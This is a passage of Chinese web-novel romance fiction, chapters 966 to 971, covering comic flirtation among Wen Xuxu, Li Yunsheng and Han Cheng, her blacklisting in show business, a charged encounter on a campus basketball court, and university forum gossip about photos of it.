温栩栩手直接放到他胸口,还没推呢,就听到黎云笙不咸不淡道:“是要摸还是要推。” 温栩栩:“?” 这么骚的吗黎少? 有一瞬间温栩栩都觉得自己是不是听错了。 韩城满脸“我草”的表情。 “黎云笙!你怎么能说这种话呢!你敢对我说这种话吗!太骚了你!” 黎云笙掀起眼皮扫他一眼:“你恶不恶心。” “你也知道恶心啊!”韩城无语怒斥。 黎云笙一副懒散模样:“我对你说了?” 韩城无语凝噎。 行,确实是没对他说。 “你是没对我说,但你对我兄弟说了!”韩城叉腰气愤,直接为温栩栩打抱不平。 黎云笙掀了掀眼皮,“你急什么?” 他慢悠悠踱步逼近,哼笑:“你的好兄弟不是孩子都给我生了,圈子里都知道的事。” 这话像颗鱼雷,炸得韩城耳膜嗡嗡作响。 韩城支支吾吾地辩解:“你不都说了那是假的,是谣言吗!”声音却像漏气的气球,瘪得飞快。 温栩栩也低头心虚,反正这事儿是没办法翻篇了是吗。 第966章 温栩栩,我数到三 温栩栩颇有些欲哭无泪,黎云笙嗤笑一声,目光却仍然在温栩栩身上没有移开,温栩栩这次直接躲到韩城身后了,简直是把他看成洪水猛兽。 洪水猛兽黎云笙瞥她一眼:“温栩栩,你不觉得你自己自相矛盾吗。” “你靠近韩城无非是想接近我,现在你又躲什么。” 黎云笙一步一步逼近,韩城赶紧拦着,黎云笙想抓人,韩城就很护着小鸡崽儿的老母鸡一样晃悠来晃悠去拦着不肯挪地儿。 黎云笙气笑了,他到底是为什么会跟这么个缺心眼儿的玩到一起的。 “温栩栩,我数到三。”黎云笙忽然放缓语调,声音带着几分威胁。 韩城后背汗毛立起,活像见了鬼。这孙子是要玩哪出? 温栩栩在韩城身后扒头看他,一脸谨慎。 “一。”黎云笙的唇形清晰吐出这个字,指尖有意无意擦过沙发扶手,金属袖扣在日光下闪着冷光。 “二。”黎云笙踏出的第二步带起的风都裹着压迫感。韩城下意识想挡,却被温栩栩突然拽住衣角。 “三。”最后一个字落下时,黎云笙已经欺身到温栩栩跟前。 韩城扑上去的动作像慢镜头,眼睁睁看着那人抬手要扣住她的腕子。温栩栩却猛地矮身从两人缝隙间窜了出去,紫裙扫过黎云笙的裤腿,韩城只觉得眼前一花,再回头时,温栩栩已经缩到沙发角落,活像受惊的兔子蜷成团。 黎云笙挑眉,逐步逼近。 “你躲什么?”黎云笙屈膝半蹲,与缩在沙发角的温栩栩平视。 他指尖无意识摩挲着袖扣边缘,金属冷光映进温栩栩慌乱的瞳孔。 韩城恍恍惚惚的觉得自己兄弟此刻竟透着股野兽嗅到猎物的兴奋劲儿,不是……这也太变态了。 黎云笙到底从什么时候开始这么变态的?韩城百思不得其解。 温栩栩往沙发里缩了缩,却抵住了墙,退无可退。 韩城此刻顾不得想更多了,突然觉得呼吸困难。 这画面太他妈刺眼,像是有人把“兄弟”和“女人”这两个词生生搅在一起,搅得他脑子里的弦一根根崩断。 温栩栩不知道韩城脑子里都想了些什么乱七八糟的,此刻手指抵住黎云笙胸口。 温栩栩抬眼直视黎云笙,“黎少想玩什么游戏?当着韩城的面儿,也该有个分寸。” 空气凝滞了。 黎云笙唇角终于漾起几分笑意,拇指擦过她抵在自己胸前的手指:“分寸?温小姐在教我做事?” 韩城头皮发麻,正要插嘴,却听温栩栩轻笑出声,“不敢,就是好奇黎少真的喜欢当着第三个人的面儿跟我拉拉扯扯,难不成真的在那方面有点奇怪的癖好?是真的被我说中了吗?” 韩城:“?” 我艹?这信息量就有点大了。 黎云笙这次又被气笑了。 韩城和温栩栩凑一起是真气人啊。 他盯着温栩栩半晌没说话,见他又要逼近,温栩栩又跟兔子一样哧溜钻到韩城身后了。 “梅开二度?有意思吗温栩栩。”黎云笙眸光还是淡淡的,语气里面倒是不见有什么笑意。 “温栩栩,这次我还是数到三,你最好……乖一点。”他话音才落,这次都还没数到三呢,温栩栩便已经从韩城身后蹦出来了,显然还是有点怂。 温栩栩也不知道为什么她自己都觉得奇怪,说怕黎云笙吧,也不是怕,就觉得这人绝对不会伤害自己,说不怕吧,听见他念数也会条件反射。 还挺危险。 出来就出来,她不信当着韩城的面儿他真敢做什么。 黎云笙倏地笑了,这次反倒是有点愉悦。 他看着近在咫尺的温栩栩,伸出手挑起她的下巴,是一个有点轻佻的动作,但温栩栩却觉得这人并不是在侮辱自己,好像真的只是在端详观察自己的容貌。 她能感受到黎云笙手指的热度,以及他目光中带着的几分明显的调侃。 他凑近,唇贴在她耳边低声道:“温小姐,我不会一而再再而三的给其他人机会,这次不同意做我的人,下次我就不会这么好说话了。” 这话有点像威胁。 温栩栩愣了下,像是有点疑惑的歪头看他。 “黎少指的不好说话是说我都还没求到你面前你就上门为我解决了我垃圾经纪人还帮我打脸馨雅的事吗?” “如果黎少这也算是不好说话……嗯……好像有点离谱。” “黎少你……对谁都这么善心大发吗?” 这话听着有点像嘲讽。 黎云笙眼底的笑意消失了,温栩栩现在不怕了,就觉得眼前这人说是冻柿子,其实内里芯儿都是软的,对别人怎样她不清楚,反正对她那确实是挺好的。 毕竟她都作成什么样了,那晚上胡说八道的,如果是别人真指不定做什么事呢。 黎云笙倒好,吃了哑巴亏还帮她打脸馨雅。 黎少为什么这么做? 因为他善! 温栩栩眼睛里瞬间闪烁着智慧的光芒。 黎云笙捏了捏眉心,被她此刻的眼神给弄得有点无语。 算了,跟韩城玩到一起的哪有不傻的。 他也不问了,再问也不会有什么结果,到离开前还是给了温栩栩一条忠告。 “没事离韩城远点,伤脑。” 韩城:“?” 像是在骂他? 不确定,再想想。 等韩城回过味儿来黎云笙早没影儿了,韩城气呼呼的撸袖子,但压根没找到黎云笙人。 他也挺怕温栩栩真因为黎云笙几句话不搭理自己的。 “温栩栩,我们才是关系最好的,你可别忘了你最先找的我,你不能有了黎云笙就忘了我。” 他还是觉得自己才是温栩栩关系最好的铁哥们。 温栩栩自然知道这位对自己是真的好,带她入圈儿,也从没有贬低嘲讽过她,还真的带她进了圈儿,这位才是真善美良民啊。 “你放心,我忘了谁也不会忘了你。”温栩栩斩钉截铁这么打包票。 韩城舒服了,心道黎云笙就算跟温栩栩漫天绯闻又怎样!他才是温栩栩心里最重要的人! 哼,爽了。 事实上韩城并没有爽几天,因为温栩栩回去后整整一周没有联系他! 一周哎!这不是冷落是什么! 韩城开始微信骚扰短信骚扰,势必要联系到温栩栩! 第967章 是不是把她藏起来了 温栩栩整整一周没联系韩城,这在韩城这里是从来没有过的情况。 他觉得自己可能是失宠了,不然温栩栩为什么不联系自己? 韩城愤怒之下狠狠怒了一下,这听起来像个病句,却是他此刻真实的状态。 韩城惊觉肯定是黎云笙拐走了自己兄弟。 都这会儿了还没怎么把温栩栩当女人看呢。 他想通了就给黎云笙去了电话 凌晨三点的寂静被突兀的铃声打破,黎云笙那边传来一阵窸窣。 韩城想象着对方被吵醒的烦躁模样,心里反而更痛快了。 不等黎云笙开口整个人就有点癫的逼问:“你是不是把我兄弟拐走了?”他劈头盖脸地问,声音大得连自己耳膜都震得生疼。 黎云笙忍不住皱眉,觉得他又在疯,他看了看时间,凌晨三点。 黎云笙那边的沉默片刻,过了好一会儿才传来带着困倦的声音,“你大半夜不睡觉给我打骚扰电话就是问我这个?” “韩城,实在睡不着就去扫大街。” 韩城憋屈:“我那是睡不着吗,我那是被气醒的!” “你是打气筒吗,整天那么多气要出。”黎云笙的声音裹着懒散的讽刺,仿佛根本没把对方的愤怒当回事。 韩城憋屈得胸口发胀,音量不自觉又拔高几分:“黎云笙,我们算笔帐,自从你跟我兄弟好上后她都多久没理我了!” 韩城气呼呼。 黎云笙那边传来窸窣的起身声,韩城听见水流声和洗漱用品的碰撞,对方显然被吵得彻底清醒了。 “哦,她很久不理你了?”黎云笙慢悠悠地回应,“那你该找找你自身的原因。” “……”韩城噎了一下,呵了一声,“肯定是因为你挑拨我们的关系。” 他觉得自己逻辑无懈可击。 以前温栩栩虽然总拿他当兄弟,但至少天天混在一起,现在倒好,直接人间蒸发了。 黎云笙轻笑一声,那笑声透过通讯器格外清晰:“挑拨大概不存在,不过你不是已经说明了原因?” 韩城愣住,脑子转得比平时慢了好几拍:“我说什么原因了!”他嚷道,音量不自觉又提高。 韩城不觉得自己说明了原因,他甚至觉得黎云笙此刻在跟自己胡搅蛮缠,完全没觉得自己给人凌晨三点打电话有多无理取闹。 “你不是说,她跟我好上了?”黎云笙的声音还是淡淡的继续道,“因为跟我好上了所以没空理你,你要理解,毕竟你单身。” 韩城都 韩城:“?” 是这么个意思吗! 懵了,他脱口而出:“你就不单身了?” “我说的是……”韩城话都还没说完就被黎云笙打断了。 “你说的难道不是这个意思?温栩栩跟我好上了,肯定没有时间理你,你要理解,你单身是这样的。”黎云笙这样的解释怎么听着都带了点嘲讽。 “你就不单身了?”韩城越来越不服了。 黎云笙哦了一声:“我知道我单身,但外面那群人不知道我单身,毕竟在他们眼里我和温栩栩孩子都已经有了。” 温栩栩那段话这辈子是过不去了。 韩城无语。 “你怎么过一段时间就要把那段话拉出来溜溜啊,你真的很闲吗!”韩城无语。 黎云笙轻笑出声,声音里带着几分从容:“可能吧,毕竟被兄弟半夜三点骚扰,总要找点乐子。” 韩城被堵得哑口无言。 凌晨三点打电话的神经病确实是他,这没得洗。 韩城懒懒散散的趴在客厅的玻璃茶几上,指尖无意识地戳着冰镇汽水瓶,气泡“噗噗”冒出的声音混着他絮絮叨叨的抱怨:“我就好奇,你是不是把她藏起来了?像童话里巫婆关小金鸟那种!” 黎云笙实在是不明白他是什么脑回路,温栩栩不联系他为什么就会认为温栩栩一定在自己这里? 黎云笙在电话那头轻笑,他也已经彻底清醒了,此刻再看图纸,钢笔尖在建筑图纸上划出锋利的弧线:“建议你先查查绑架罪判几年。” “韩城,这么做犯法的。”黎云笙解释。 说是犯法,但黎云笙其实有时候克制不住确实会想……要不要把温栩栩关起来,他看到温栩栩的时候偶尔确实会有些阴暗的想法。 但他并不是喜欢强迫对方的人,或者说……法律不允许。 别的不说,黎云笙绝对是一位守法公民。 韩城这次倒像是突然聪明了,“嗷”了一声。 韩城突然坐直,拖鞋在地板拖出滑稽的“吱啦”声,他夸张地比划着双手被捆的动作,身后懒人沙发被他撞得东倒西歪。 “我懂了!” 黎云笙不知道他懂什么了,只觉得他吵闹。 结果下一秒韩城嘿嘿一笑。 “温栩栩没在你那里!也没联系你!她不止抛弃了我也抛弃了你!”韩城本来还在因为温栩栩没联系自己的事有点难过,但现在知道温栩栩也没联系黎云笙顿时又有点嘚瑟了。 黎云笙捏了捏眉心:“韩城,需要我送你一本词典吗,抛弃这词不是这么用的。” 韩城哪管他,骚扰了他知道了大概乐颠颠把电话挂了。 完全没有一点自己骚扰别人的心虚,甚至特别的理直气壮。 黎云笙有一瞬间都不清楚自己到底为什么能忍这人这么久的。 温栩栩这几天确实忙得脚不沾地。 自从上次直播意外走红后,社交媒体上突然涌来许多陌生人的关注,私信箱几乎被各种问候和邀约塞满。 她向来低调,对这种突如其来的舆论热度颇感不适,但商业嗅觉敏锐的她深知“流量即机会”,白送的流量温栩栩没有推出去的道理,于是索性顺势而为,连续几天高强度开播,直播间粉丝数如滚雪球般攀升,短短几日便涨了数十万。 Sara其实挺喜欢她的,给她介绍了点工作,星黛儿后期还有几场秀,Sara也给她安排上了。 虽然温栩栩不是专业模特,但也确实足够漂亮,礼服穿在她身上能够更大程度的呈现礼服的美。 不过秀都在后期,温栩栩跟Sara商量工作的时候甚至还有人请她拍了婚纱宣传照,说是婚纱宣传照,倒不是外面铺天盖地小县城到处都是那种宣传片和广告片,而是高定礼服裙,是帝城的高档婚纱店,婚纱也是专业设计师设计,请她来拍无非是为了画面好看。 第968章 像个没长大的孩子 温栩栩这段时间确实很忙。 晚上直播白天拍广告片,因为现在不算是什么大主播也没有代表作,但碍于这是高奢品牌的婚纱,所以温栩栩还是拿到五十万的广告宣传费。 这对温栩栩来说,绝对是一笔巨款了。 不过温栩栩的邮箱还收到了编剧的剧本,她都好奇这人是不是投错邮箱了。 温栩栩盯着邮箱里那封陌生邮件,指尖在键盘上悬了许久。 编剧的署名陌生得彻底,但她确实是有期待的。 万一真的是邀请自己拍戏呢? 点开看了后对方确实是要发给她的剧本。 她有一瞬间的惊讶。 这么多天了,终于有人肯给她个机会拍戏了吗? 她点开剧本,故事是时下流行的都市悬疑题材,像是快节奏的小网剧。 女角色人物性格鲜明凌厉飒爽,剧情转折如刀锋般干脆利落。角色设定与她本人的气质竟有几分暗合,仿佛剧本是为她量身定制,只是看着就觉得心跳加速。 她喜欢。 她想拍。 温栩栩心里其实是有点激动的,斟酌片刻还是联系了对方。 对方接到接到温栩栩的电话时还有点愣神,等回过神便知道自己的剧本被温栩栩看中了。 可编剧的电话却如一盆冷水浇下。 对方的声音带着明显的疲惫与愧疚:“温老师,实在对不住……导演组临时收到通知,说必须换掉您,否则项目审核根本过不了关。” 温栩栩握着手机的手紧了紧,指甲掐进掌心。 她早料到有人在背后使绊子针对自己,却没想到连这种小成本网剧都不肯放过她。 这次馨雅事件前期馨雅炒作害的她满身黑料多半跟那人有关系,只是不知道那人怎么能藏的这么深。 即便真相已明,但娱乐圈的“封杀令”似乎仍阴魂不散。 但是编剧也有些无奈道:“温老师,实在不好意思,我本来打算邀您出演的,但是……导演那边说不能用您,我为了这个跟导演起了争执,现在这个项目已经搁置了。” “所以是缺钱吗。”温栩栩开口:“我有钱,不过可能不是很多,或许我可以拉投资。” 她是真的很想拍戏了。 编剧有点揪心道:“温老师,不只是缺钱,还有就是,有您的话可能没办法上映。” 对方苦笑:“温老师,您可能不知道……这次是上面直接施压,点名不能用您。投资方都换了三家了,只要有您的名字,项目立刻被毙。” 温栩栩的瞳孔骤然收缩。 对方口中的“上面”像一团迷雾,却始终笼罩在她头顶。 她根本不记得自己结过什么仇怨。可现在编剧的意思很明显了。 这话就明摆着说有人盯着她了,且那人势力还不小。 “那你也知道馨雅事件了,也知道那晚我直播的时候直播间确实是有一群富二代了。”温栩栩微笑:“她有势力,可比得过帝城那几家吗。” 温栩栩的唇角微微勾起,眼底却无笑意。 不得不说狐假虎威的感觉其实是挺爽的。 看她不顺眼的人到底跟她有多大仇怨?而且那人的手好像也只能伸到娱乐圈,且那人势力绝对比不过黎云笙韩城这群人,不然那天的秀她也走不了,馨雅也不会就此沉寂。 她想,之前接触韩城和黎云笙,大抵就是为了这事儿。 虽然黎少难对付,但黎少确实好用啊! 没看到那天随口胡诌自己是黎云笙的人,那几个纨绔二代再没蛐蛐过她? 可见黎云笙在哪里都是魔鬼。 “剧本是我这边有版权的,那边剧组已经解散了,温老师您可以联系那几位给您组建团队……”编剧也只能想到这个办法了。 如果温栩栩说的是真的,那几位组建团队那是绝对没问题的。 只是她的话,确实没办法继续建组了。 “好,我会处理。” 挂断电话后,她靠在椅背上,脑中思绪如乱麻。 没办法了,只能联系那几位了。 说起来,她本就是那几位的“小弟”不是吗。 温栩栩默了许久还是给韩城去了电话,那边直接挂断了。 温栩栩想了下马上明白是因为什么原因了。 这几天她一直没联系韩城,大少爷生气了啊。 她又打了一通电话,那边又摁断。 两人就这么有来有往的五六回,韩城就傲娇的接了。 其实想法还挺单纯的,就觉得温栩栩都打了这么多电话了,那肯定是很在意自己了。 满意了。 韩城接听电话还在叽歪。 “你自己算算你都多久没联系我了。”韩城嚷嚷。 温栩栩也自知理亏,前阵子天天跟着韩城,这次却是快十天没联系,也亏得大少爷没有直接电话摇人。 “我错了。”温栩栩直接道歉。 韩城傲娇的哼了一声。 这人如果真生气不理人,电话都不会接的。 现在还会哼了,可见根本没生气,又或者说很容易被哄好。 只能说韩城这人脾气古怪,不过虽然表面傲娇得像个没长大的孩子,但实则心思单纯得像块剔透的水晶。 “我在学校篮球场,你来找我,我想吃华庭的甜品你一起给我带过来。” 说完给她转了五万块。 此刻韩城转来的五万块,更像是一场幼稚的赌气,像是在提醒她,你看,我钱多得很,但你必须来哄我。 有钱是真有钱。 温栩栩心道,怪不得那么多人都想给韩城当小弟呢,就他钱好骗啊。 温栩栩赶紧答应了,去华庭打包了甜点还顺便去学校附近买了奶茶,因为考虑到韩城打篮球人应该比较多,所以她买的有点多,又是点心又是奶茶的,她走走停停的看着帝城大学,实在是有点羡慕。 她在看学校,而学校里的学生却在看她。 没有人能控制住自己的目光不落到她身上。 因为真的很漂亮,漂亮到看过去就移不开眼的程度。 她走过时周围的喧嚣仿佛都按下了静音键。 她并没有特意打扮,本就是花一样的年纪,只是随意扎了低马尾,碎发被夏风拂得微微凌乱,却更衬得那张脸如玉瓷般剔透。 第969章 怎么就玩上他胸了? 所有见到她的人,都会觉得最令人惊艳的是那双眼睛。 睫羽浓密如蝶羽,瞳仁漆黑却泛着细碎的星芒,像是将整片银河揉碎了撒进去,又似浸了晨露的玛瑙,流光潋滟间让人不敢直视。 唇色天生粉润如樱花初绽,五官美艳动人,因为来的是篮球场所以她很配合的穿了白T恤和白裙,只是她个子高显得裙子有些短,衬得整个人愈发婀娜动人。 没有人不喜欢美人,所以她在人群中实在是惹眼。 就连阳光都好像格外偏爱她,打在她身上都像是渡上一层朦胧的光晕,像是带了层滤镜。 如果只是普通的漂亮会有人搭讪,但现在没有人敢,只因为觉得不配。 她提着那么多东西,倒还是有男生觉得自己长得不错才满脸笑意的凑上去,实际心都快要跳出来了。 男生喉头发紧,掌心沁出汗渍,终于挤出一句:“同学,我帮你提东西吧。”声音却抖得连自己都听出怯意。 看似镇定,其实还是很紧张。 黎云笙从校园楼出来看到的就是这一幕。 温栩栩真个人在日光下好像在发光,却又跟周遭的人像是两个次元。 他能看到她那双修长性感的腿,不怪他,因为人是视觉动物,最先关注到的一定是最大面积的地方。 拿男人举例,如果有男人光裸上身,那第一眼看到的一定是对方的上身,女性亦然。 如果女性夏天穿的是超短裙,那第一眼看到的会是对方的腿,然后才会一点点向上移动视线。 黎云笙喉结滚动,看到她细嫩的腰,风掠过时,T恤衣摆被轻轻掀起,露出盈盈一握的纤腰,那腰肢细得仿佛能被指尖圈住,却又不显羸弱,柔韧中带着力量感,像一株随风轻摆却根系深扎的玉兰花。 他觉得好像更渴了。 他看到温栩栩,就是会克制不住的内心涌动起难以忽视的欲望。 那股自骨髓深处涌起的欲望如暗潮翻涌,连指尖都克制不住地发痒。 他深知这具身体对她的渴求早已超出理智范畴。 每当目光触及她,喉间便似有火苗窜起,血液在血管里沸腾,仿佛要将所有冷静与克制烧成灰烬。 温栩栩似是没打算让人帮忙,只是笑了笑打算回绝对方,可抬头时正对上黎云笙的目光。 他还是那般冷峻,和往常一样身后跟着几名保镖。 看到黎云笙,温栩栩突然觉得头皮发麻,不知怎么的就想到十天前的事。 他指节扣住她手腕的力度、呼吸喷洒在耳畔的灼热、以及那声低哑到近乎危险的“温栩栩”。 她下意识后退半步,脚尖蹭着地面,像只警觉的猫儿想寻缝隙遁逃。 黎云笙瞥见她看到自己时显得鬼鬼祟祟想要躲避的模样,只觉得她实在是好笑。 这女人总爱装出一副无辜的姿态,却不知自己浑身上下都写着“招惹”。 长成她那样出来乱晃还想躲什么?就算把脸蒙住只露出背影都能让人第一眼就能瞧见。 也不知这是欲拒还迎还是欲盖弥彰。 他其实已经在压抑自己对温栩栩的渴望,可偏偏温栩栩还是要撞过来,实在是有些欠收拾。 总之,她每一次拙劣的逃避都在将他心底的火苗浇得更旺。 “温栩栩。” 见她要溜,黎云笙终究还是开口喊住她没有给她继续逃跑的机会。 温栩栩实在是觉得委屈,站在原地犹豫不决,那名搭讪的男生也认出黎云笙了,不过就算不认识,看到他身后那堆保镖也知道这不是自己能惹得起的人,只能干笑了两声跑开了。 黎云笙觉得指尖有点发痒,痒得想抓住点什么。比如她颤抖的肩,比如她泛着薄红的耳垂。 他开口,发号施令:“过来。” 语气平静得像在谈论天气。 温栩栩在原地犹豫不决,进也不是,退也不是,睫毛在不安地颤动。 她都开始忍不住在心里埋怨韩城了。 韩城让自己来的时候也没说黎云笙在啊! 看她还站在原地没打算动作,黎云笙心里更痒了。 他开口:“你过来,或者我过去。” 反正没有逃跑这一选项了。 温栩栩也自知自己跑不过这一堆保镖,整个人有点丧丧的蔫蔫的。 她像一只被雨淋湿的猫,耷拉着脑袋,发梢都显得无精打采地垂在肩头。 她提着那对东西走过去,在他面前站定,保持了一个可以随时躲开逃避的距离。 “我过来了。”温栩栩还是丧丧的,声音里带着点委屈的嘟囔。 黎云笙啧了一声:“温栩栩,你在别扭什么。” 温栩栩把那堆奶茶放到地上,然后抬头看他:“我……害羞。” 想了半天敷衍了这么一句,语气虚得连她自己都心虚。 “害羞?”黎云笙嗤笑:“害羞怎么也不见你脸红。” 温栩栩自黑:“我脸皮厚所以看不出来。” 这话说得半真半假,尾音却带着点不服气的倔强。 “是吗,我摸摸看是不是真的脸皮厚。”黎云笙怎么可能听不出来她话语间的敷衍,坦白说他觉得有意思,就像猫逗弄爪子下的老鼠,就是想逗她。 温栩栩见他走近了,整个人更是如临大敌,不是吧!真要摸啊! 那不行!她要先下手为强! 没等黎云笙的手捏上自己的脸,温栩栩的手就已经“啪”拍到男人的胸上,黎云笙一时不备,被她的手触到。 掌心触到温热的肌理时,她整个人僵住了。 那触感出乎意料的结实,却又并非想象中硬如铁板。 黎云笙一时不备,被她的手触到,整个人都愣了下,喉间溢出的气音带着惊愕。 然后便感受到温栩栩指尖无意识地捏了捏, “软的?”她脱口而出,眼底闪着好奇的光,像是发现了新大陆。 “……”黎云笙默了片刻,耳尖泛出可疑的红,却强装镇定:“不用力不绷紧的情况是软的。” 温栩栩眼睛都亮晶晶的:“你这要有104了吧,哇塞,104是男人最好的嫁妆!” 这话说得又直白又荒唐。 黎云笙:“……” 黎云笙瞬间语塞,眉峰拧起,额角青筋跳了跳。 周遭保镖憋笑憋得肩膀微颤,空气里飘着压抑的闷笑声。 温栩栩到底为什么总是这么跳脱?刚才不还在怕她?怎么现在就玩上他胸了? 第970章 黎学长那身材好顶啊 温栩栩的手还停留在黎云笙的胸膛上,指尖无意识地摩挲着微微绷紧的肌理。 “温栩栩,你到底知不知道你现在在做什么。”黎云笙此刻甚至好脾气的提醒她。 他的声音裹着压抑的沙哑,尾音微微发颤。 温栩栩手还在捏,但已经感觉到变硬了,在她戳戳捏捏后他终究还是忍无可忍地揪住她的后衣领,力度却远不如语气那般凌厉。 温栩栩被猛地拽近,鼻尖几乎擦过他熨烫得一丝不苟的衬衫领口,嗅到他身上清冽的雪松香混着体温的灼热,心跳骤然漏了半拍。 温栩栩立刻举起双手做投降状,指尖悄悄蜷缩,满脸“错了错了求放过”的表情。 这副模样活脱脱像极了被主人揪住后脖颈却仍不忘蹭蹭撒娇的猫儿,连尾音都带着软糯的颤音。 黎云笙:“……” 黎云笙喉结无声滚动,视线胶着在她泛着水光的唇瓣上,引诱着人想尝一口甜涩。 “还胡闹吗。”他问,嗓音里藏着未言明的威胁与诱惑。 温栩栩眼珠滴溜溜的转了下一时没吱声,黎云笙嗤笑一声,转而用掌心扣住她的后颈,指节沿着脆弱的皮肤下滑。 温热的呼吸扑在他腕间,带着股果味儿的清甜,烫得他掌心发麻。 她整个人敏感的一激灵果然不动了,像是被命运捉住后脖颈的猫咪。 好一会儿她才嘟囔:“那不是你之前说要推还是要摸吗?我只是顺了你的意稍微选择了一下。” 黎云笙实在是记不起自己什么时候说过这句话。 温栩栩又支棱起来提醒:“就十天前?星黛儿秀场休息室,还是你堵的我呢。” 说这话时特别理直气壮,杏眼瞪得圆溜溜的。 黎云笙眉峰微挑,记忆瞬间倒带回十天前的秀场休息室。 他确实说过那句荒唐的“推还是摸”,此刻却被她翻出来当作盾牌。 耳尖不可控地泛起红,他索性将大掌完全覆上她的后颈,拇指按在她突起的蝴蝶骨上,力度暧昧得令人心悸:“温栩栩,你倒是学会拿我的话来堵我了。” 黎云笙觉得自己在温栩栩面前大概是让她觉得自己脾气真的很好,所以才这么能折腾。 温栩栩能清晰感受到他掌心的温度透过薄衫渗进皮肤,烫得她后颈泛起一片战栗的红。 不等她反应过来,就见男人凑近。 他突然俯身,鼻尖几乎抵上她的,热气喷在她耳畔:“原来你记得这么清楚,那你知道选择摸的后果是什么吗。” 温栩栩的心跳陡然加速,耳尖也开始发烫。 她下意识地想要后退,却被黎云笙牢牢攥住手腕。男人扯拽着她低语:“或者说,需要我现在来告诉你?” “我不听我不听我不听,反正绝对不是什么好话!”温栩栩扯自己的手腕,没扯出来,又扯,结果反而在力道失衡的瞬间毫无防备地撞进男人怀里。 这次迎接她的不是软绵绵而是男人硬邦邦的前胸了,没办法,因为她前面属实是骚扰过一番,所以黎云笙现在都还在防备。 温栩栩被撞得闷哼一声,眼眶瞬间红了。 她抬起头,毫无威慑力地瞪着他,那双杏眼蓄满生理性泪水,红彤彤的像被雨水浸湿的石榴籽,此刻又活脱脱像只受惊的兔子。 黎云笙喉结滚动,望着她这副模样,突然想起幼时在庄园见过的那只雪兔,温顺无辜,却又总爱在他脚边调皮地蹦跳,撩拨得人心痒难耐。 黎云笙不吃兔肉也从没吃过,此刻却莫名生出想尝一口的念头。 那念头像野火般在胸腔蔓延,烧得他指尖发痒。 他索性收紧手臂,将她更紧密地锢在怀里,下颌抵在她发顶,嗅着她发间甜腻的栀子香:“疼?刚才不是挺能耐的么,敢往我身上乱蹭。”尾音带着危险的蛊惑,仿佛下一秒就要咬破她脆弱的脖颈。 风起时,黎云笙的衬衫领口微微敞开,露出精瘦的锁骨,温栩栩鬼使神差地伸手碰了碰,指尖刚触到温热的皮肤,便被男人猛地擒住手腕。 他轻笑出声,眼底却燃着暗火:“温栩栩,你是真的很不乖。” …… 温栩栩和黎云笙不知道的地方,帝城大学八卦论坛已经开始竖起高墙。 【黎学长竟然在校园公然对女学生这样那样!这究竟是人性的缺失还是道德的沦丧!】 一篇贴在校园论坛开始飘红,标题的惊叹号仿佛能穿透屏幕扎进每个吃瓜群众的眼球。 {点进来的时候我还以为是谁在胡言乱语的污蔑我们黎太子,点进来后我整个人就是大写的懵逼,啊?真是黎太子啊,真不是P图吗?不是?哥们?给我干哪儿来了?这还是那洁癖到生人勿进周围永远没有异性接近的黎太子吗?} {这简直比期末考突然提前还让人震惊!黎云笙是谁啊?那可是帝大出了名的“移动的冰山禁区”,走路带三米冷气场,连只母蚊子飞过他身边都得被冻成冰碴子。可现在这图上,他任由一个女生摸胸!这剧情反转得比过山车还刺激!} {不是?这还是国内吗?} {实不相瞒,其实我一直以为黎太子跟韩家两兄弟或者是盛景炎是一对儿,真的,我以为黎太子不接近女人只是因为不喜欢……没想到啊。}一位ID“腐女永动机”的网友激情留言,瞬间引发腥风血雨。楼下立刻炸锅。 {楼上你有毒啊,韩越学长和韩城学长知道吗?而且你YY他们就算了,你看看盛学长,他有安分的时候吗?身边女朋友那不是轮换的吗,怎么可能跟黎学长扯上关系,就离谱。} 评论区顿时分成两派,腐女们激动得仿佛发现了新大陆,直女们则疯狂吐槽。 {(叉腰)那万一黎学长就是喜欢多情浪子呢!} {我服了我真服了,少看点男男吧啊,求求你了,没那么多大家族的继承人喜欢男人的,就算真有那也多是写荤素不忌的双性恋啊。} {不是?歪楼了喂!这里不是要讨论黎学长为什么对女学生这样那样吧!收回来啊!} {所以黎学长为什么对人家这样那样?} {咦惹,镇楼图竟然是黎学长被摸胸了,好大胆啊,原来这样就可以接近黎学长吗,学到了,下次我也试试……说真的黎学长那身材好顶啊嘿嘿。} {你确定你不会被保镖抡远吗!你当黎太子是你家宠物想摸就摸吗!} {那凭什么她能摸啊!} 第971章 温栩栩,疼的是我 一群人正在唧唧歪歪温栩栩凭什么能摸的时候楼主终于又出现了,连着放了十几张图,全都炸裂到让人难以想象。 黎云笙被摸胸的特写(衬衫纽扣都被扯开两颗)、他指尖捏住温栩栩后颈时两人呼吸交缠的瞬间、温栩栩“不小心”撞进他怀里的图,每一张都是暧昧缠绵性张力拉满。 最绝的是那张“低头疑似接吻”图,阳光斜照在他们身上,阴影把两人的唇几乎贴在一起的画面渲染得像电影截图。 八卦楼彻底沸腾了,服务器差点被挤爆—— 八卦楼整个都快要炸了。 {不是?啊?啊?我以为主动那人是那女妖精,怎么主动的还是我们黎少啊!} 有人放大图片分析。 {看这手的位置!黎学长捏后颈的动作明显是……是调情啊!他眼神里那燎原的火,我隔着屏幕都烫脸了!} {(尖叫!疯狂尖叫!)镇楼图里温栩栩摸胸的时候,黎学长的耳尖都红了!他绝对动情了!} {这么久了,黎少终于肯下凡吃一吃爱情的苦了吗,呜呜呜!} {楼主!快出来跟我们说说到底怎么回事啊!} {直播!我们要直播!} 楼主憋屈的出来。 {没直播,黎少那么多保镖我哪儿敢啊,离老远拍的,且看且珍惜,说不定什么时候就被管理员联系删帖了} 篮球场上的蝉鸣声裹挟着热浪扑面而来,韩城扯下脖子上被汗水浸透的毛巾,胡乱擦了擦脖颈。 盛景炎斜倚在球场边的铁网围栏上,指尖无意识地拨弄着手机,眼角余光扫过远处围成一圈窃窃私语的男生们。 那些家伙凑在一起嘀嘀咕咕的,脸上的笑实在是很明显,像是八卦调侃。 走近问过才知道一群人在看黎云笙的八卦。 盛景炎不由得挑了下眉,有点意思。 点开手机,看到八卦楼主发的那堆图不由轻笑出声,又是温栩栩啊,每次黎云笙碰到温栩栩都会发生点什么,确实好玩儿。 可惜了当时他不在现场。 韩城看他脸上挂着迷之笑意就觉得这人心里又盘算什么小九九了,心里连着啧了好几声。 “你又想干什么呢?” 每次盛景炎笑,韩城就觉得有人要倒霉。 盛景炎目光幽幽的转向他,声音里带着点笑意:“你看看帝城大学校园八卦论坛,有惊喜。” 韩城直觉不是什么那里面应该没什么好东西,但还是没抗住自己的好奇心点开了。 点开后整个人开始鬼叫。 “我靠!我靠!我靠啊!”韩城感觉自己此刻脑子嗡嗡的。 “黎云笙到底又对我兄弟做了什么啊!” 